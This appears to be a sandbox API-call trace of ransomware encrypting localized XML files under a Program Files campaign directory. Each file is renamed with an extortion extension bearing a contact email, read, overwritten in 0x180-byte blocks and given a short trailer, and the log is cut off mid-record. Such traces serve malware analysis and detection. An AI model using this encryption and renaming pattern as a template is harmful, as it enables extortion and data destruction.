ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3703fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4758c1ad, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x28e, dwReserved0=0x3e3fd20, dwReserved1=0x6f0750, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d52c0 [0217.095] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0217.095] Sleep (dwMilliseconds=0x1) [0217.103] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x3e3ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\toastreviewsettings.xml") returned 1 [0217.103] GetProcessHeap () returned 0x630000 [0217.103] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74d7f88, Size=0x4fbc) returned 0x74d7f88 [0217.103] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ca\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0217.103] CloseHandle (hObject=0x6dc) returned 1 [0217.103] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0217.104] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ca\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ca\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0217.104] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0217.104] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fc6c | out: lpFindFileData=0x3e3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5380 [0217.105] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0217.105] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ca\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0217.105] GetProcessHeap () returned 0x630000 [0217.105] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6860c8 [0217.105] GetProcessHeap () returned 0x630000 [0217.105] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x66cad0 [0217.105] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.105] ReadFile (in: hFile=0x6dc, lpBuffer=0x6860c8, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6860c8*, lpNumberOfBytesRead=0x3e3ff0c*=0x180, lpOverlapped=0x0) returned 1 [0217.107] GetProcessHeap () returned 0x630000 [0217.107] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317b80 [0217.107] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.107] WriteFile (in: hFile=0x6dc, lpBuffer=0x66cad0*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x66cad0*, lpNumberOfBytesWritten=0x3e3ff0c*=0x180, lpOverlapped=0x0) returned 1 [0217.107] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.108] WriteFile (in: hFile=0x6dc, lpBuffer=0x66cc4f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x66cc4f*, lpNumberOfBytesWritten=0x3e3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0217.108] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.108] WriteFile (in: hFile=0x6dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3e3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0217.108] CloseHandle (hObject=0x6dc) returned 1 [0217.108] GetProcessHeap () returned 0x630000 [0217.108] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66cad0 | out: hHeap=0x630000) returned 1 [0217.108] GetProcessHeap () returned 0x630000 [0217.108] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6860c8 | out: hHeap=0x630000) returned 1 [0217.108] GetProcessHeap () returned 0x630000 [0217.108] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317b80 | out: hHeap=0x630000) returned 1 [0217.108] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0217.108] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-CA\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fcc4 | out: lpFindFileData=0x3e3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3e2af7, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3e2af7, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x475b2643, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c0, dwReserved0=0xccc7496, dwReserved1=0x6860c0, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5400 [0217.108] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0217.108] Sleep (dwMilliseconds=0x1) [0217.124] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x3e3ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\toastreviewsettings.xml") returned 1 [0217.124] GetProcessHeap () returned 0x630000 [0217.124] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74d7f88, Size=0x4ff8) returned 0x74d7f88 [0217.124] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ie\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0217.125] CloseHandle (hObject=0x6dc) returned 1 [0217.125] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0217.125] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ie\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ie\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0217.126] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0217.126] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fc6c | out: lpFindFileData=0x3e3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5400 [0217.126] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0217.126] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ie\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0217.126] GetProcessHeap () returned 0x630000 [0217.126] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6860c8 [0217.126] GetProcessHeap () returned 0x630000 [0217.126] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x66cad0 [0217.126] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.126] ReadFile (in: hFile=0x6dc, lpBuffer=0x6860c8, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6860c8*, lpNumberOfBytesRead=0x3e3ff0c*=0x180, lpOverlapped=0x0) returned 1 [0217.129] GetProcessHeap () returned 0x630000 [0217.129] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318d00 [0217.129] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.129] WriteFile (in: hFile=0x6dc, lpBuffer=0x66cad0*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x66cad0*, lpNumberOfBytesWritten=0x3e3ff0c*=0x180, lpOverlapped=0x0) returned 1 [0217.129] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.129] WriteFile (in: hFile=0x6dc, lpBuffer=0x66cc4f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x66cc4f*, lpNumberOfBytesWritten=0x3e3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0217.129] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.129] WriteFile (in: hFile=0x6dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3e3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0217.129] CloseHandle (hObject=0x6dc) returned 1 [0217.129] GetProcessHeap () returned 0x630000 [0217.129] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66cad0 | out: hHeap=0x630000) returned 1 [0217.129] GetProcessHeap () returned 0x630000 [0217.129] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6860c8 | out: hHeap=0x630000) returned 1 [0217.129] GetProcessHeap () returned 0x630000 [0217.129] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318d00 | out: hHeap=0x630000) returned 1 [0217.129] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0217.130] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-IE\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fcc4 | out: lpFindFileData=0x3e3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e42efab, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e42efab, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x475d85d0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c0, dwReserved0=0xccc7496, dwReserved1=0x6860c0, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d4e00 [0217.130] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0217.130] Sleep (dwMilliseconds=0x1) [0217.137] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x3e3ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\toastreviewsettings.xml") returned 1 [0217.137] GetProcessHeap () returned 0x630000 [0217.137] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74d7f88, Size=0x5014) returned 0x74d7f88 [0217.138] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-my\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0217.138] CloseHandle (hObject=0x6dc) returned 1 [0217.138] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0217.138] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-my\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-my\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0217.139] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0217.139] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fc6c | out: lpFindFileData=0x3e3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5280 [0217.139] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0217.139] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-my\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6dc [0217.139] GetProcessHeap () returned 0x630000 [0217.139] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x6860c8 [0217.139] GetProcessHeap () returned 0x630000 [0217.139] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1a1) returned 0x66cad0 [0217.139] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.140] ReadFile (in: hFile=0x6dc, lpBuffer=0x6860c8, nNumberOfBytesToRead=0x180, lpNumberOfBytesRead=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6860c8*, lpNumberOfBytesRead=0x3e3ff0c*=0x180, lpOverlapped=0x0) returned 1 [0217.142] GetProcessHeap () returned 0x630000 [0217.142] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317ec8 [0217.142] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.142] WriteFile (in: hFile=0x6dc, lpBuffer=0x66cad0*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x66cad0*, lpNumberOfBytesWritten=0x3e3ff0c*=0x180, lpOverlapped=0x0) returned 1 [0217.142] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.142] WriteFile (in: hFile=0x6dc, lpBuffer=0x66cc4f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x66cc4f*, lpNumberOfBytesWritten=0x3e3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0217.143] SetFilePointerEx (in: hFile=0x6dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0217.143] WriteFile (in: hFile=0x6dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3e3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3e3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0217.143] CloseHandle (hObject=0x6dc) returned 1 [0217.143] GetProcessHeap () returned 0x630000 [0217.143] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66cad0 | out: hHeap=0x630000) returned 1 [0217.143] GetProcessHeap () returned 0x630000 [0217.143] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6860c8 | out: hHeap=0x630000) returned 1 [0217.143] GetProcessHeap () returned 0x630000 [0217.143] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317ec8 | out: hHeap=0x630000) returned 1 [0217.143] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0217.143] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-MY\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fcc4 | out: lpFindFileData=0x3e3fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x475fee5d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1c0, dwReserved0=0xccc7496, dwReserved1=0x6860c0, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5280 [0217.143] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0217.143] Sleep (dwMilliseconds=0x1) [0217.150] SysReAllocStringLen (in: pbstr=0x3e3ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x3e3ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\toastreviewsettings.xml") returned 1 [0217.150] GetProcessHeap () returned 0x630000 [0217.150] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74d7f88, Size=0x5030) returned 0x74d7f88 [0217.150] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ph\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x69c [0217.150] CloseHandle (hObject=0x69c) returned 1 [0217.150] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0217.151] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ph\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-ph\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0217.162] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3e3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0217.162] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-PH\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3e3fc6c | out: lpFindFileData=0x3e3fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4551d8, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4551d8, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x69002e, dwReserved1=0x2d0064, 